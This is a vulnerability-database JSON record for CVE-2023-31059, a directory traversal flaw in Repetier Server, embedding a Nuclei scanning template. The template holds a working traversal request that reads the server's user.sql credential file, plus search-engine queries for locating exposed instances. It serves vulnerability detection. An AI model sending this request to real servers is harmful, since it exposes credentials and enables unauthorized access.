{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-31059/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-31059/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-31059/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-31059/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-31059/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-31059"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-31059"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-31059.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2023-31059\n\ninfo:\n  name: Repetier Server - Directory Traversal\n  author: parthmalhotra,pdresearch\n  severity: high\n  description: |\n    Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.\n  impact: |\n    An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Repetier Server.\n  reference:\n    - https://cybir.com/2023/cve/poc-repetier-server-140/\n    - https://www.repetier-server.com/download-repetier-server/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-31059\n    cwe-id: CWE-22\n    epss-score: 0.05574\n    epss-percentile: 0.92531\n    cpe: cpe:2.3:a:repetier-server:repetier-server:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: repetier-server\n    product: repetier-server\n    shodan-query:\n      - title:\"Repetier-Server\"\n      - http.title:\"repetier-server\"\n    fofa-query:\n      - title=\"Repetier-Server\"\n      - title=\"repetier-server\"\n    google-query: intitle:\"repetier-server\"\n  tags: cve2023,cve,repetier,lfi,repetier-server,vkev,intrusive,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php\"\n\n    matchers-condition: and\n    matchers:\n      - type: binary\n        part: body\n        binary:\n          - 53514C69746520666F726D6174203300\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100a56e58f3d5958a29ce5dc7e73b0cee0331f5ffc0e0ccad57cddf99aeee05373c0220264eb9af7eab878bc0b1abfd33fc888ae67fc2ee11e1de48ee3381a3c5178c41:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-31059"
}